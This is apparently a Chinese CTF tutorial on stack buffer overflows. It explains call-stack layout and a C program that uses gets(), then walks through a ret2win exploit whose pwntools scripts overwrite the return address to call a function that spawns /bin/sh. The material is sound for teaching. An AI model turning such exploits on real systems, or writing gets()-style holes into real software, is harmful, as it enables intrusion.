专栏首页漏斗社区盘它!PWN栈溢出漏洞。

盘它!PWN栈溢出漏洞。

在国内的CTF比赛中,PWN题最常见考点就是缓冲区溢出漏洞,而缓冲区溢出代表就是栈溢出漏洞。

0x01 基础知识

栈是一种先进后出的数据结构,从高地址向低地址增长的内存结构。

函数调用栈是指程序运行时内存一段连续的区域,用来保存函数运行时的状态信息,包括函数参数与局部变量等,是系统栈的一部分。

在一次函数调用中,函数调用栈中将被依次压入:函数实参、返回地址、EBP。如果函数有局部变量,接下来就在栈中开辟相应的空间以构造变量。

函数调用栈结构

ESP 称为栈顶指针,用来指示当前栈帧的顶部。 EBP 称为栈基址指针,用来指示当前栈帧的底部。

0x02漏洞原理

栈溢出漏洞是由于使用了不安全的函数,如C中的 read(fd, buf, nbytes)、gets(s)等,通过构造特定的数据使得栈溢出,从而导致程序的执行流程被控制。 当程序代码如下时:

int main(int argc, char **argv) {
  char s[12];
  gets(s);
  return 0;
}

栈空间如下:

当构造变量char s[12]时,系统就在栈中给s开辟栈空间,可gets(s)函数未限制输入字符长度,可以构造大量的数据来超出变量的空间从而造成溢出,覆盖到s以上的栈空间。

0x03 解题步骤

例举一道栈溢出的PWN题,根据解题步骤来解答。

1. 逆向工程:

将PWN题拖入IDA,点击程序入口函数。按F5逆向main函数,查看对应的C伪代码。 main函数调用vulnerable()函数。

点击进入vulnerable()函数并F5逆向。

vulnerable()函数中调用了gets()和puts()函数,而程序的逻辑就运行main函数和vulnerable函数。

vulnerable函数功能:输入字符串,输出字符串 程序中主要函数有 内置行数:gets、puts、system 自定义函数:main、test、success

2. 分析代码:

进行逆向工程拿到C伪代码,代码大致如下:

#include <stdio.h>
#include <string.h>
void success() { 
    puts("You Hava already controlled it.");
    system("/bin/sh");
 }
void test() {
    puts("Connection Successful.");
} 
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;
}

gets() 是一个危险函数,因为它不检查输入字符串的长度,而是以回车来判断是否输入结束,所以很容易导致栈溢出。

3. 漏洞利用:

查看程序的保护机制:

程序在无任何保护的情况下进行解题:

输入s的值溢出到返回地址,将返回地址替换成text函数的起始地址。

查看text函数的起始地址。

EBP与EBP的距离14H,而栈中的EBP占栈内存4H,所以要覆盖到放回地址需要18H。

编写脚本如下:

from pwn import *
sh = process('./Ezreal1')
success_addr = 0x080491DE

payload = 'a' * 0x18 + p32(success_addr)
print p32(success_addr)

sh.sendline(payload)

sh.interactive()

利用脚本后的栈结构如下:

所以当函数调用完毕后,执行返回地址时将执行text函数。 运行脚本,成功运行text函数:

4. getshell:

分析代码发现程序中有getshell函数,这时就不需要构造shellcode,直接溢出返回地址,让程序执行此函数。

查看success函数地址:

脚本如下:

##!/usr/bin/env python
from pwn import *
sh = process('./Ezreal1')
success_addr = 0x080491A2

payload = 'a' * 0x18 + p32(success_addr)
print p32(success_addr)

sh.sendline(payload)

sh.interactive()

运行脚本,成功拿到shell:

0x04 小小总结

本期的介绍就到这里啦!祝各位周末愉快!下期将带来在程序开启不同栈保护机制要如何利用漏洞。

本文分享自微信公众号 - 漏斗社区(newdooneSec),作者:Ezreal

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-02-15

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 盘它!PWN栈溢出漏洞。

    在国内的CTF比赛中,PWN题最常见考点就是缓冲区溢出漏洞,而缓冲区溢出代表就是栈溢出漏洞。

    漏斗社区
  • 工具| 诸神之眼nmap定制化之并发处理

    当我们使用nmap来进行大规模探测的时候,速度和准确度是摆在我们面前的两个问题,这时需要考虑到nmap的并发处理能力。 0x01 nmap本身的并发执行 相关...

    漏斗社区
  • 啥是佩奇?PWN解题技能全配齐!

    CTF的PWN题想必是很多小伙伴心里的痛,大多小伙伴不知道PWN该如何入门,不知道该如何系统性学习,本期开始,斗哥将输出PWN的一系列文章,手把手带小伙伴们入坑...

    漏斗社区
  • 盘它!PWN栈溢出漏洞。

    在国内的CTF比赛中,PWN题最常见考点就是缓冲区溢出漏洞,而缓冲区溢出代表就是栈溢出漏洞。

    漏斗社区
  • python学习笔记 函数

    在python中,函数是一等对象。编程语言理论家把“一等对象”定义为满足以下条件的程序实体:

    py3study
  • Lua 5.3 的调试库

    如果 message 有,且不是字符串或 nil, 函数不做任何处理直接返回 message。 否则,它返回调用栈的栈回溯信息。 字符串可选项 message ...

    bering
  • 人工智能|神经网络中的激活函数

    激活函数是深度学习,也是人工神经网络中一个十分重要的学习内容,对于人工神经网络模型去学习、理解非常复杂和非线性的函数来说具有非常重要的作用。那么,激活函数的作用...

    算法与编程之美
  • 笔记——安卓消息机制Handler(十六)

    1、定义:Android的消息机制主要是指Handler的运行机制,Handler并不是专门用于更新UI的,它只是常被开发者用来更新UI,是同一个进程中线程间的...

    紫兮木溪
  • [PHP] PHP闭包(closures)

    陶士涵
  • sleep、yield、join方法简介与用法 sleep与wait区别 多线程中篇(十四)

    Object中的wait、notify、notifyAll,可以用于线程间的通信,核心原理为借助于监视器的入口集与等待集逻辑

    noteless

扫码关注云+社区

领取腾讯云代金券